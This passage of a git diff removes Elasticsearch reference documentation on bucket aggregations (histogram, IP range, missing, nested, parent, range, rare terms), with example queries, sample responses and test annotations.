-      "values" : [1, 3, 8, 12, 15],
-      "counts" : [3, 7, 23, 12, 6]
-   }
-}
-
-PUT metrics_index/_doc/2
-{
-  "network.name" : "net-2",
-  "latency_histo" : {
-      "values" : [1, 6, 8, 12, 14],
-      "counts" : [8, 17, 8, 7, 6]
-   }
-}
-
-POST /metrics_index/_search?size=0
-{
-  "aggs": {
-    "latency_buckets": {
-      "histogram": {
-        "field": "latency_histo",
-        "interval": 5
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-The `histogram` aggregation will sum the counts of each interval computed based on the `values` and
-return the following output:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "prices": {
-      "buckets": [
-        {
-          "key": 0.0,
-          "doc_count": 18
-        },
-        {
-          "key": 5.0,
-          "doc_count": 48
-        },
-        {
-          "key": 10.0,
-          "doc_count": 25
-        },
-        {
-          "key": 15.0,
-          "doc_count": 6
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:test not setup]
-
-[IMPORTANT]
-========
-Histogram aggregation is a bucket aggregation, which partitions documents into buckets rather than calculating metrics over fields like
-metrics aggregations do. Each bucket represents a collection of documents which sub-aggregations can run on.
-On the other hand, a histogram field is a pre-aggregated field representing multiple values inside a single field:
-buckets of numerical data and a count of items/documents for each bucket. This mismatch between the histogram aggregations expected input
-(expecting raw documents) and the histogram field (that provides summary information) limits the outcome of the aggregation
-to only the doc counts for each bucket.
-
-
-**Consequently, when executing a histogram aggregation over a histogram field, no sub-aggregations are allowed.**
-========
-
-Also, when running histogram aggregation over histogram field the `missing` parameter is not supported.
diff --git a/docs/reference/aggregations/bucket/iprange-aggregation.asciidoc b/docs/reference/aggregations/bucket/iprange-aggregation.asciidoc
deleted file mode 100644
index d090eb9f42d..00000000000
--- a/docs/reference/aggregations/bucket/iprange-aggregation.asciidoc
+++ /dev/null
@@ -1,205 +0,0 @@
-[[search-aggregations-bucket-iprange-aggregation]]
-=== IP range aggregation
-++++
-<titleabbrev>IP range</titleabbrev>
-++++
-
-Just like the dedicated <<search-aggregations-bucket-daterange-aggregation,date>> range aggregation, there is also a dedicated range aggregation for IP typed fields:
-
-Example:
-
-[source,console]
---------------------------------------------------
-GET /ip_addresses/_search
-{
-  "size": 10,
-  "aggs": {
-    "ip_ranges": {
-      "ip_range": {
-        "field": "ip",
-        "ranges": [
-          { "to": "10.0.0.5" },
-          { "from": "10.0.0.5" }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:iprange]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
-  "aggregations": {
-    "ip_ranges": {
-      "buckets": [
-        {
-          "key": "*-10.0.0.5",
-          "to": "10.0.0.5",
-          "doc_count": 10
-        },
-        {
-          "key": "10.0.0.5-*",
-          "from": "10.0.0.5",
-          "doc_count": 260
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-IP ranges can also be defined as CIDR masks:
-
-[source,console]
---------------------------------------------------
-GET /ip_addresses/_search
-{
-  "size": 0,
-  "aggs": {
-    "ip_ranges": {
-      "ip_range": {
-        "field": "ip",
-        "ranges": [
-          { "mask": "10.0.0.0/25" },
-          { "mask": "10.0.0.127/25" }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:iprange]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
-  "aggregations": {
-    "ip_ranges": {
-      "buckets": [
-        {
-          "key": "10.0.0.0/25",
-          "from": "10.0.0.0",
-          "to": "10.0.0.128",
-          "doc_count": 128
-        },
-        {
-          "key": "10.0.0.127/25",
-          "from": "10.0.0.0",
-          "to": "10.0.0.128",
-          "doc_count": 128
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-==== Keyed Response
-
-Setting the `keyed` flag to `true` will associate a unique string key with each bucket and return the ranges as a hash rather than an array:
-
-[source,console]
---------------------------------------------------
-GET /ip_addresses/_search
-{
-  "size": 0,
-  "aggs": {
-    "ip_ranges": {
-      "ip_range": {
-        "field": "ip",
-        "ranges": [
-          { "to": "10.0.0.5" },
-          { "from": "10.0.0.5" }
-        ],
-        "keyed": true
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:iprange]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
-  "aggregations": {
-    "ip_ranges": {
-      "buckets": {
-        "*-10.0.0.5": {
-          "to": "10.0.0.5",
-          "doc_count": 10
-        },
-        "10.0.0.5-*": {
-          "from": "10.0.0.5",
-          "doc_count": 260
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-It is also possible to customize the key for each range:
-
-[source,console]
---------------------------------------------------
-GET /ip_addresses/_search
-{
-  "size": 0,
-  "aggs": {
-    "ip_ranges": {
-      "ip_range": {
-        "field": "ip",
-        "ranges": [
-          { "key": "infinity", "to": "10.0.0.5" },
-          { "key": "and-beyond", "from": "10.0.0.5" }
-        ],
-        "keyed": true
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:iprange]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
-  "aggregations": {
-    "ip_ranges": {
-      "buckets": {
-        "infinity": {
-          "to": "10.0.0.5",
-          "doc_count": 10
-        },
-        "and-beyond": {
-          "from": "10.0.0.5",
-          "doc_count": 260
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
diff --git a/docs/reference/aggregations/bucket/missing-aggregation.asciidoc b/docs/reference/aggregations/bucket/missing-aggregation.asciidoc
deleted file mode 100644
index 6c43e2ce49f..00000000000
--- a/docs/reference/aggregations/bucket/missing-aggregation.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
-[[search-aggregations-bucket-missing-aggregation]]
-=== Missing aggregation
-++++
-<titleabbrev>Missing</titleabbrev>
-++++
-
-A field data based single bucket aggregation, that creates a bucket of all documents in the current document set context that are missing a field value (effectively, missing a field or having the configured NULL value set). This aggregator will often be used in conjunction with other field data bucket aggregators (such as ranges) to return information for all the documents that could not be placed in any of the other buckets due to missing field data values.
-
-Example:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "products_without_a_price": {
-      "missing": { "field": "price" }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-In the above example, we get the total number of products that do not have a price.
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "products_without_a_price": {
-      "doc_count": 00
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
\ No newline at end of file
diff --git a/docs/reference/aggregations/bucket/nested-aggregation.asciidoc b/docs/reference/aggregations/bucket/nested-aggregation.asciidoc
deleted file mode 100644
index b45da2c1a09..00000000000
--- a/docs/reference/aggregations/bucket/nested-aggregation.asciidoc
+++ /dev/null
@@ -1,99 +0,0 @@
-[[search-aggregations-bucket-nested-aggregation]]
-=== Nested aggregation
-++++
-<titleabbrev>Nested</titleabbrev>
-++++
-
-A special single bucket aggregation that enables aggregating nested documents.
-
-For example, lets say we have an index of products, and each product holds the list of resellers - each having its own
-price for the product. The mapping could look like:
-
-[source,console]
---------------------------------------------------
-PUT /products
-{
-  "mappings": {
-    "properties": {
-      "resellers": { <1>
-        "type": "nested",
-        "properties": {
-          "reseller": { "type": "text" },
-          "price": { "type": "double" }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-<1> `resellers` is an array that holds nested documents.
-
-The following request adds a product with two resellers:
-
-[source,console]
---------------------------------------------------
-PUT /products/_doc/0
-{
-  "name": "LED TV", <1>
-  "resellers": [
-    {
-      "reseller": "companyA",
-      "price": 350
-    },
-    {
-      "reseller": "companyB",
-      "price": 500
-    }
-  ]
-}
---------------------------------------------------
-// TEST[s/PUT \/products\/_doc\/0/PUT \/products\/_doc\/0\?refresh/]
-// TEST[continued]
-<1> We are using a dynamic mapping for the `name` attribute.
-
-
-The following request returns the minimum price a product can be purchased for:
-
-[source,console]
---------------------------------------------------
-GET /products/_search
-{
-  "query": {
-    "match": { "name": "led tv" }
-  },
-  "aggs": {
-    "resellers": {
-      "nested": {
-        "path": "resellers"
-      },
-      "aggs": {
-        "min_price": { "min": { "field": "resellers.price" } }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[s/GET \/products\/_search/GET \/products\/_search\?filter_path=aggregations/]
-// TEST[continued]
-
-As you can see above, the nested aggregation requires the `path` of the nested documents within the top level documents.
-Then one can define any type of aggregation over these nested documents.
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "resellers": {
-      "doc_count": 2,
-      "min_price": {
-        "value": 350
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
-// TESTRESPONSE[s/: [0-9]+/: $body.$_path/]
diff --git a/docs/reference/aggregations/bucket/parent-aggregation.asciidoc b/docs/reference/aggregations/bucket/parent-aggregation.asciidoc
deleted file mode 100644
index 29892be17dc..00000000000
--- a/docs/reference/aggregations/bucket/parent-aggregation.asciidoc
+++ /dev/null
@@ -1,213 +0,0 @@
-[[search-aggregations-bucket-parent-aggregation]]
-=== Parent aggregation
-++++
-<titleabbrev>Parent</titleabbrev>
-++++
-
-A special single bucket aggregation that selects parent documents that have the specified type, as defined in a <<parent-join,`join` field>>.
-
-This aggregation has a single option:
-
-* `type` - The child type that should be selected.
-
-For example, let's say we have an index of questions and answers. The answer type has the following `join` field in the mapping:
-
-[source,console]
---------------------------------------------------
-PUT parent_example
-{
-  "mappings": {
-     "properties": {
-       "join": {
-         "type": "join",
-         "relations": {
-           "question": "answer"
-         }
-       }
-     }
-  }
-}
---------------------------------------------------
-
-The `question` document contain a tag field and the `answer` documents contain an owner field. With the `parent`
-aggregation the owner buckets can be mapped to the tag buckets in a single request even though the two fields exist in
-two different kinds of documents.
-
-An example of a question document:
-
-[source,console]
---------------------------------------------------
-PUT parent_example/_doc/1
-{
-  "join": {
-    "name": "question"
-  },
-  "body": "<p>I have Windows 2003 server and i bought a new Windows 2008 server...",
-  "title": "Whats the best way to file transfer my site from server to a newer one?",
-  "tags": [
-    "windows-server-2003",
-    "windows-server-2008",
-    "file-transfer"
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-
-Examples of `answer` documents:
-
-[source,console]
---------------------------------------------------
-PUT parent_example/_doc/2?routing=1
-{
-  "join": {
-    "name": "answer",
-    "parent": "1"
-  },
-  "owner": {
-    "location": "Norfolk, United Kingdom",
-    "display_name": "Sam",
-    "id": 48
-  },
-  "body": "<p>Unfortunately you're pretty much limited to FTP...",
-  "creation_date": "2009-05-04T13:45:37.030"
-}
-
-PUT parent_example/_doc/3?routing=1&refresh
-{
-  "join": {
-    "name": "answer",
-    "parent": "1"
-  },
-  "owner": {
-    "location": "Norfolk, United Kingdom",
-    "display_name": "Troll",
-    "id": 49
-  },
-  "body": "<p>Use Linux...",
-  "creation_date": "2009-05-05T13:45:37.030"
-}
---------------------------------------------------
-// TEST[continued]
-
-The following request can be built that connects the two together:
-
-[source,console]
---------------------------------------------------
-POST parent_example/_search?size=0
-{
-  "aggs": {
-    "top-names": {
-      "terms": {
-        "field": "owner.display_name.keyword",
-        "size": 10
-      },
-      "aggs": {
-        "to-questions": {
-          "parent": {
-            "type" : "answer" <1>
-          },
-          "aggs": {
-            "top-tags": {
-              "terms": {
-                "field": "tags.keyword",
-                "size": 10
-              }
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> The `type` points to type / mapping with the name `answer`.
-
-The above example returns the top answer owners and per owner the top question tags.
-
-Possible response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 9,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped": 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-      "value": 3,
-      "relation": "eq"
-    },
-    "max_score": null,
-    "hits": []
-  },
-  "aggregations": {
-    "top-names": {
-      "doc_count_error_upper_bound": 0,
-      "sum_other_doc_count": 0,
-      "buckets": [
-        {
-          "key": "Sam",
-          "doc_count": 1, <1>
-          "to-questions": {
-            "doc_count": 1, <2>
-            "top-tags": {
-              "doc_count_error_upper_bound": 0,
-              "sum_other_doc_count": 0,
-              "buckets": [
-                {
-                  "key": "file-transfer",
-                  "doc_count": 1
-                },
-                {
-                  "key": "windows-server-2003",
-                  "doc_count": 1
-                },
-                {
-                  "key": "windows-server-2008",
-                  "doc_count": 1
-                }
-              ]
-            }
-          }
-        },
-        {
-          "key": "Troll",
-          "doc_count": 1,
-          "to-questions": {
-            "doc_count": 1,
-            "top-tags": {
-              "doc_count_error_upper_bound": 0,
-              "sum_other_doc_count": 0,
-              "buckets": [
-                {
-                  "key": "file-transfer",
-                  "doc_count": 1
-                },
-                {
-                  "key": "windows-server-2003",
-                  "doc_count": 1
-                },
-                {
-                  "key": "windows-server-2008",
-                  "doc_count": 1
-                }
-              ]
-            }
-          }
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 9/"took": $body.took/]
-
-<1> The number of answer documents with the tag `Sam`, `Troll`, etc.
-<2> The number of question documents that are related to answer documents with the tag `Sam`, `Troll`, etc.
diff --git a/docs/reference/aggregations/bucket/range-aggregation.asciidoc b/docs/reference/aggregations/bucket/range-aggregation.asciidoc
deleted file mode 100644
index 3dc58721eae..00000000000
--- a/docs/reference/aggregations/bucket/range-aggregation.asciidoc
+++ /dev/null
@@ -1,384 +0,0 @@
-[[search-aggregations-bucket-range-aggregation]]
-=== Range aggregation
-++++
-<titleabbrev>Range</titleabbrev>
-++++
-
-A multi-bucket value source based aggregation that enables the user to define a set of ranges - each representing a bucket. During the aggregation process, the values extracted from each document will be checked against each bucket range and "bucket" the relevant/matching document.
-Note that this aggregation includes the `from` value and excludes the `to` value for each range.
-
-Example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "price_ranges": {
-      "range": {
-        "field": "price",
-        "ranges": [
-          { "to": 100.0 },
-          { "from": 100.0, "to": 200.0 },
-          { "from": 200.0 }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[s/GET \/_search/GET \/_search\?filter_path=aggregations/]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "price_ranges": {
-      "buckets": [
-        {
-          "key": "*-100.0",
-          "to": 100.0,
-          "doc_count": 2
-        },
-        {
-          "key": "100.0-200.0",
-          "from": 100.0,
-          "to": 200.0,
-          "doc_count": 2
-        },
-        {
-          "key": "200.0-*",
-          "from": 200.0,
-          "doc_count": 3
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
-
-==== Keyed Response
-
-Setting the `keyed` flag to `true` will associate a unique string key with each bucket and return the ranges as a hash rather than an array:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "price_ranges": {
-      "range": {
-        "field": "price",
-        "keyed": true,
-        "ranges": [
-          { "to": 100 },
-          { "from": 100, "to": 200 },
-          { "from": 200 }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[s/GET \/_search/GET \/_search\?filter_path=aggregations/]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "price_ranges": {
-      "buckets": {
-        "*-100.0": {
-          "to": 100.0,
-          "doc_count": 2
-        },
-        "100.0-200.0": {
-          "from": 100.0,
-          "to": 200.0,
-          "doc_count": 2
-        },
-        "200.0-*": {
-          "from": 200.0,
-          "doc_count": 3
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
-
-It is also possible to customize the key for each range:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "price_ranges": {
-      "range": {
-        "field": "price",
-        "keyed": true,
-        "ranges": [
-          { "key": "cheap", "to": 100 },
-          { "key": "average", "from": 100, "to": 200 },
-          { "key": "expensive", "from": 200 }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[s/GET \/_search/GET \/_search\?filter_path=aggregations/]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "price_ranges": {
-      "buckets": {
-        "cheap": {
-          "to": 100.0,
-          "doc_count": 2
-        },
-        "average": {
-          "from": 100.0,
-          "to": 200.0,
-          "doc_count": 2
-        },
-        "expensive": {
-          "from": 200.0,
-          "doc_count": 3
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
-
-==== Script
-
-Range aggregation accepts a `script` parameter. This parameter allows to defined an inline `script` that
-will be executed during aggregation execution.
-
-The following example shows how to use an `inline` script with the `painless` script language and no script parameters:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "price_ranges": {
-      "range": {
-        "script": {
-          "lang": "painless",
-          "source": "doc['price'].value"
-        },
-        "ranges": [
-          { "to": 100 },
-          { "from": 100, "to": 200 },
-          { "from": 200 }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-It is also possible to use stored scripts. Here is a simple stored script:
-
-[source,console]
---------------------------------------------------
-POST /_scripts/convert_currency
-{
-  "script": {
-    "lang": "painless",
-    "source": "doc[params.field].value * params.conversion_rate"
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-And this new stored script can be used in the range aggregation like this:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "price_ranges": {
-      "range": {
-        "script": {
-          "id": "convert_currency",       <1>
-          "params": {                     <2>
-            "field": "price",
-            "conversion_rate": 0.835526591
-          }
-        },
-        "ranges": [
-          { "from": 0, "to": 100 },
-          { "from": 100 }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[s/GET \/_search/GET \/_search\?filter_path=aggregations/]
-// TEST[continued]
-<1> Id of the stored script
-<2> Parameters to use when executing the stored script
-
-//////////////////////////
-
-[source,console-result]
---------------------------------------------------
-{
-  "aggregations": {
-    "price_ranges": {
-      "buckets": [
-        {
-          "key": "0.0-100.0",
-          "from": 0.0,
-          "to": 100.0,
-          "doc_count": 2
-        },
-        {
-          "key": "100.0-*",
-          "from": 100.0,
-          "doc_count": 5
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-
-//////////////////////////
-
-==== Value Script
-
-Lets say the product prices are in USD but we would like to get the price ranges in EURO. We can use value script to convert the prices prior the aggregation (assuming conversion rate of 0.8)
-
-[source,console]
---------------------------------------------------
-GET /sales/_search
-{
-  "aggs": {
-    "price_ranges": {
-      "range": {
-        "field": "price",
-        "script": {
-          "source": "_value * params.conversion_rate",
-          "params": {
-            "conversion_rate": 0.8
-          }
-        },
-        "ranges": [
-          { "to": 35 },
-          { "from": 35, "to": 70 },
-          { "from": 70 }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-==== Sub Aggregations
-
-The following example, not only "bucket" the documents to the different buckets but also computes statistics over the prices in each price range
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "price_ranges": {
-      "range": {
-        "field": "price",
-        "ranges": [
-          { "to": 100 },
-          { "from": 100, "to": 200 },
-          { "from": 200 }
-        ]
-      },
-      "aggs": {
-        "price_stats": {
-          "stats": { "field": "price" }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[s/GET \/_search/GET \/_search\?filter_path=aggregations/]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "price_ranges": {
-      "buckets": [
-        {
-          "key": "*-100.0",
-          "to": 100.0,
-          "doc_count": 2,
-          "price_stats": {
-            "count": 2,
-            "min": 10.0,
-            "max": 50.0,
-            "avg": 30.0,
-            "sum": 60.0
-          }
-        },
-        {
-          "key": "100.0-200.0",
-          "from": 100.0,
-          "to": 200.0,
-          "doc_count": 2,
-          "price_stats": {
-            "count": 2,
-            "min": 150.0,
-            "max": 175.0,
-            "avg": 162.5,
-            "sum": 325.0
-          }
-        },
-        {
-          "key": "200.0-*",
-          "from": 200.0,
-          "doc_count": 3,
-          "price_stats": {
-            "count": 3,
-            "min": 200.0,
-            "max": 200.0,
-            "avg": 200.0,
-            "sum": 600.0
-          }
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
diff --git a/docs/reference/aggregations/bucket/range-field-note.asciidoc b/docs/reference/aggregations/bucket/range-field-note.asciidoc
deleted file mode 100644
index 78841760f6a..00000000000
--- a/docs/reference/aggregations/bucket/range-field-note.asciidoc
+++ /dev/null
@@ -1,190 +0,0 @@
-[[search-aggregations-bucket-range-field-note]]
-=== Subtleties of bucketing range fields
-
-==== Documents are counted for each bucket they land in
-
-Since a range represents multiple values, running a bucket aggregation over a
-range field can result in the same document landing in multiple buckets. This
-can lead to surprising behavior, such as the sum of bucket counts being higher
-than the number of matched documents.  For example, consider the following
-index: 
-[source, console]
---------------------------------------------------
-PUT range_index
-{
-  "settings": {
-    "number_of_shards": 2
-  },
-  "mappings": {
-    "properties": {
-      "expected_attendees": {
-        "type": "integer_range"
-      },
-      "time_frame": {
-        "type": "date_range",
-        "format": "yyyy-MM-dd||epoch_millis"
-      }
-    }
-  }
-}
-
-PUT range_index/_doc/1?refresh
-{
-  "expected_attendees" : {
-    "gte" : 10,
-    "lte" : 20
-  },
-  "time_frame" : {
-    "gte" : "2019-10-28",
-    "lte" : "2019-11-04"
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-The range is wider than the interval in the following aggregation, and thus the
-document will land in multiple buckets.
-
-[source, console]
---------------------------------------------------
-POST /range_index/_search?size=0
-{
-  "aggs": {
-    "range_histo": {
-      "histogram": {
-        "field": "expected_attendees",
-        "interval": 5
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Since the interval is `5` (and the offset is `0` by default), we expect buckets `10`,
-`15`, and `20`. Our range document will fall in all three of these buckets.
-
-[source, console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations" : {
-    "range_histo" : {
-      "buckets" : [
-        {
-          "key" : 10.0,
-          "doc_count" : 1
-        },
-        {
-          "key" : 15.0,
-          "doc_count" : 1
-        },
-        {
-          "key" : 20.0,
-          "doc_count" : 1
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-A document cannot exist partially in a bucket; For example, the above document
-cannot count as one-third in each of the above three buckets. In this example,
-since the document's range landed in multiple buckets, the full value of that
-document would also be counted in any sub-aggregations for each bucket as well.
-
-==== Query bounds are not aggregation filters
-
-Another unexpected behavior can arise when a query is used to filter on the
-field being aggregated. In this case, a document could match the query but
-still have one or both of the endpoints of the range outside the query.
-Consider the following aggregation on the above document:
-
-[source, console]
---------------------------------------------------
-POST /range_index/_search?size=0
-{
-  "query": {
-    "range": {
-      "time_frame": {
-        "gte": "2019-11-01",
-        "format": "yyyy-MM-dd"
-      }
-    }
-  },
-  "aggs": {
-    "november_data": {
-      "date_histogram": {
-        "field": "time_frame",
-        "calendar_interval": "day",
-        "format": "yyyy-MM-dd"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Even though the query only considers days in November, the aggregation
-generates 8 buckets (4 in October, 4 in November) because the aggregation is
-calculated over the ranges of all matching documents.
-
-[source, console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations" : {
-    "november_data" : {
-      "buckets" : [
-              {
-          "key_as_string" : "2019-10-28",
-          "key" : 1572220800000,
-          "doc_count" : 1
-        },
-        {
-          "key_as_string" : "2019-10-29",
-          "key" : 1572307200000,
-          "doc_count" : 1
-        },
-        {
-          "key_as_string" : "2019-10-30",
-          "key" : 1572393600000,
-          "doc_count" : 1
-        },
-        {
-          "key_as_string" : "2019-10-31",
-          "key" : 1572480000000,
-          "doc_count" : 1
-        },
-        {
-          "key_as_string" : "2019-11-01",
-          "key" : 1572566400000,
-          "doc_count" : 1
-        },
-        {
-          "key_as_string" : "2019-11-02",
-          "key" : 1572652800000,
-          "doc_count" : 1
-        },
-        {
-          "key_as_string" : "2019-11-03",
-          "key" : 1572739200000,
-          "doc_count" : 1
-        },
-        {
-          "key_as_string" : "2019-11-04",
-          "key" : 1572825600000,
-          "doc_count" : 1
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-Depending on the use case, a `CONTAINS` query could limit the documents to only
-those that fall entirely in the queried range.  In this example, the one
-document would not be included and the aggregation would be empty.  Filtering
-the buckets after the aggregation is also an option, for use cases where the
-document should be counted but the out of bounds data can be safely ignored.
diff --git a/docs/reference/aggregations/bucket/rare-terms-aggregation.asciidoc b/docs/reference/aggregations/bucket/rare-terms-aggregation.asciidoc
deleted file mode 100644
index ae224e4fac2..00000000000
--- a/docs/reference/aggregations/bucket/rare-terms-aggregation.asciidoc
+++ /dev/null
@@ -1,355 +0,0 @@
-[[search-aggregations-bucket-rare-terms-aggregation]]
-=== Rare terms aggregation
-++++
-<titleabbrev>Rare terms</titleabbrev>
-++++
-
-A multi-bucket value source based aggregation which finds "rare" terms -- terms that are at the long-tail
-of the distribution and are not frequent.  Conceptually, this is like a `terms` aggregation that is
-sorted by `_count` ascending.  As noted in the <<search-aggregations-bucket-terms-aggregation-order,terms aggregation docs>>,
-actually ordering a `terms` agg by count ascending has unbounded error.  Instead, you should use the `rare_terms`
-aggregation
-
-//////////////////////////
-
-[source,js]
---------------------------------------------------
-PUT /products
-{
-  "mappings": {
-    "properties": {
-      "genre": {
-        "type": "keyword"
-      },
-      "product": {
-        "type": "keyword"
-      }
-    }
-  }
-}
-
-POST /products/_doc/_bulk?refresh
-{"index":{"_id":0}}
-{"genre": "rock", "product": "Product A"}
-{"index":{"_id":1}}
-{"genre": "rock"}
-{"index":{"_id":2}}
-{"genre": "rock"}
-{"index":{"_id":3}}
-{"genre": "jazz", "product": "Product Z"}
-{"index":{"_id":4}}
-{"genre": "jazz"}
-{"index":{"_id":5}}
-{"genre": "electronic"}
-{"index":{"_id":6}}
-{"genre": "electronic"}
-{"index":{"_id":7}}
-{"genre": "electronic"}
-{"index":{"_id":8}}
-{"genre": "electronic"}
-{"index":{"_id":9}}
-{"genre": "electronic"}
-{"index":{"_id":10}}
-{"genre": "swing"}
-
--------------------------------------------------
-// NOTCONSOLE
-// TESTSETUP
-
-//////////////////////////
-
-==== Syntax
-
-A `rare_terms` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "rare_terms": {
-    "field": "the_field",
-    "max_doc_count": 1
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-.`rare_terms` Parameters
-|===
-|Parameter Name |Description |Required |Default Value
-|`field` |The field we wish to find rare terms in |Required |
-|`max_doc_count` |The maximum number of documents a term should appear in. |Optional |`1`
-|`precision` |The precision of the internal CuckooFilters.  Smaller precision leads to
-better approximation, but higher memory usage. Cannot be smaller than `0.00001` |Optional |`0.01`
-|`include` |Terms that should be included in the aggregation|Optional |
-|`exclude` |Terms that should be excluded from the aggregation|Optional |
-|`missing` |The value that should be used if a document does not have the field being aggregated|Optional |
-|===
-
-
-Example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "genres": {
-      "rare_terms": {
-        "field": "genre"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[s/_search/_search\?filter_path=aggregations/]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "genres": {
-      "buckets": [
-        {
-          "key": "swing",
-          "doc_count": 1
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
-
-In this example, the only bucket that we see is the "swing" bucket, because it is the only term that appears in
-one document.  If we increase the `max_doc_count` to `2`, we'll see some more buckets:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "genres": {
-      "rare_terms": {
-        "field": "genre",
-        "max_doc_count": 2
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[s/_search/_search\?filter_path=aggregations/]
-
-This now shows the "jazz" term which has a `doc_count` of 2":
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "genres": {
-      "buckets": [
-        {
-          "key": "swing",
-          "doc_count": 1
-        },
-        {
-          "key": "jazz",
-          "doc_count": 2
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
-
-[[search-aggregations-bucket-rare-terms-aggregation-max-doc-count]]
-==== Maximum document count
-
-The `max_doc_count` parameter is used to control the upper bound of document counts that a term can have.  There
-is not a size limitation on the `rare_terms` agg like `terms` agg has.  This means that terms
-which match the `max_doc_count` criteria will be returned.  The aggregation functions in this manner to avoid
-the order-by-ascending issues that afflict the `terms` aggregation.
-
-This does, however, mean that  a large number of results can be returned if chosen incorrectly.
